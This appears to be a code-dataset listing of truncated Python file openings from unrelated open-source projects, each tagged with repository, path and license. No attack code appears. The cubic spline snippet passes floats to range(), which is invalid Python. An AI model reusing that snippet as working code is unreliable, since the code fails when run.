sponge.setVariable("hardwareFailureScriptCount", AtomicInteger(0))
sponge.setVariable("hardwareF... | softelnet/sponge | sponge-jython/examples/script/py/correlators_builder.py | Python | apache-2.0 | 1,680 |
# ~~APIBulkArticles:Feature->APIBulk:Feature~~
from portality.api.common import Api, Api404Error, Api400Error, Api403Error, Api401Error
from portality.api.current.crud import ArticlesCrudApi
from portality.bll import DOAJ
from portality.bll import exceptions
from copy import deepcopy
class ArticlesBulkApi(Api):
... | DOAJ/doaj | portality/api/current/bulk/articles.py | Python | apache-2.0 | 3,884 |
# Copyright (c) 2015 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | neoareslinux/dragonflow | dragonflow/controller/l3_app.py | Python | apache-2.0 | 16,364 |
from __future__ import print_function, division
import os,unittest,numpy as np
from pyscf.nao.scf import scf
class KnowValues(unittest.TestCase):
def test_rescf(self):
""" reSCF """
dname = os.path.dirname(os.path.abspath(__file__))
myhf = scf(label='water', cd=dname, verbosity=0, kmat_timing=0.0, ... | gkc1000/pyscf | pyscf/nao/test/test_0041_rescf_scf.py | Python | apache-2.0 | 1,395 |
# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import os
import shutil
import subprocess
import sys
from textwrap import dedent
import pytest
from pex.common import temporary_dir
from pex.interpreter import PythonInterpreter
from pex... | pantsbuild/pex | tests/test_pex_bootstrapper.py | Python | apache-2.0 | 10,467 |
from math import sin
ys = [sin(i) for i in range(1,3.14, 0.2)]
xs = range(1, 3.14, 0.2)
def h(k):
return xs[k] - xs[k-1]
def f_r(k):
return (ys[k] - ys[k-1]) / h(k)
lamba1 = (3 * f_r(2) - 3 * f_r(1)) / (2 * (h(1) + h(2)))
delta1 = - h(2) / (2 * (h(1) + h(2)))
deltas = [delta1]
lambas = [lamb... | Imperat/SSU-Courses | ssu-calculus-methods/cubic_spline.py | Python | apache-2.0 | 818 |
# python3
# coding=utf-8
# Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | google/TaglessCRM | src/plugins/pipeline_plugins/operators/data_connector_operator.py | Python | apache-2.0 | 4,798 |
# Janus
# Jared Raby 09/2016
#
# tool.py
# Description:
# Tools take in a given file of a speicifc format, convert it, and return the resulting file.
# All tools inherit this base type and only inherit the base commands.
import subprocess
class tool():
def __init__(self, filetype):
self.filetype = filetyp... | jaredraby/janus | janus/tool.py | Python | apache-2.0 | 512 |
# Copyright (c) 2014 OpenStack Foundation, all rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | rdo-management/neutron | neutron/tests/unit/db/test_l3_dvr_db.py | Python | apache-2.0 | 21,034 |
"""
Added TaskConfig
Revision ID: 205fd513c96
Revises: 106230ad9e69
Create Date: 2016-03-07 13:27:04.392376
"""
# revision identifiers, used by Alembic.
revision = "205fd513c96"
down_revision = "106230ad9e69"
from alembic import op
from sqlalchemy.sql import table
import sqlalchemy as sa
import freight
def upgrade... | getsentry/freight | migrations/versions/205fd513c96_added_taskconfig.py | Python | apache-2.0 | 1,869 |
"""Config flow for Samsung TV."""
import socket
from urllib.parse import urlparse
from samsungctl import Remote
from samsungctl.exceptions import AccessDenied, UnhandledResponse
import voluptuous as vol
from homeassistant import config_entries
from homeassistant.components.ssdp import (
ATTR_SSDP_LOCATION,
AT... | Teagan42/home-assistant | homeassistant/components/samsungtv/config_flow.py | Python | apache-2.0 | 6,128 |
# Copyright 2013 Donald Stufft
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... | sigmavirus24/twine | twine/__init__.py | Python | apache-2.0 | 1,107 |
#!/usr/bin/env python
# -*- encoding: utf8 -*-
import sys
import re
__author__ = 'noahsark'
total = float(0)
prev_x, prev_y = None, None
while True:
string = sys.stdin.readline()
if string == "":
break
rst = re.findall(r"""\((.+), (.+)\)""", string)[0]
x, y = float(rst[0]), float(rst[1])
... | jimmylai/spoj | classical/FAKETSP/FAKETSP.py | Python | apache-2.0 | 504 |
import os, sys
sys.path.insert(1,"../../../")
import h2o, tests
def deeplearning_autoencoder():
resp = 784
nfeatures = 20 # number of features (smallest hidden layer)
train_hex = h2o.upload_file(tests.locate("bigdata/laptop/mnist/train.csv.gz"))
train_hex[resp] = train_hex[resp].asfactor()
... | kyoren/https-github.com-h2oai-h2o-3 | h2o-py/tests/testdir_algos/deeplearning/pyunit_autoencoderDeepLearning_large.py | Python | apache-2.0 | 2,315 |
###########################################
# Project: CMSIS DSP Library
# Title: FileSource.py
# Description: Node for creating file source
#
# $Date: 30 July 2021
# $Revision: V1.10.0
#
# Target Processor: Cortex-M and Cortex-A cores
# ---------------------------------------------------------... | ARM-software/CMSIS_5 | CMSIS/DSP/cmsisdsp/sdf/nodes/host/FileSource.py | Python | apache-2.0 | 1,621 |
import re
def resolve_hostname(context, name):
"""
if simple name, return name + space
if FQDN, then return name unless the domain is x.y.x
if domain is x.y.z, return the hostname per the CloudFoundry route
:type context: behave.runner.Context
:type name: str
"""
context.log.info('reso... | SteelToeOSS/Samples | pysteel/dns.py | Python | apache-2.0 | 1,577 |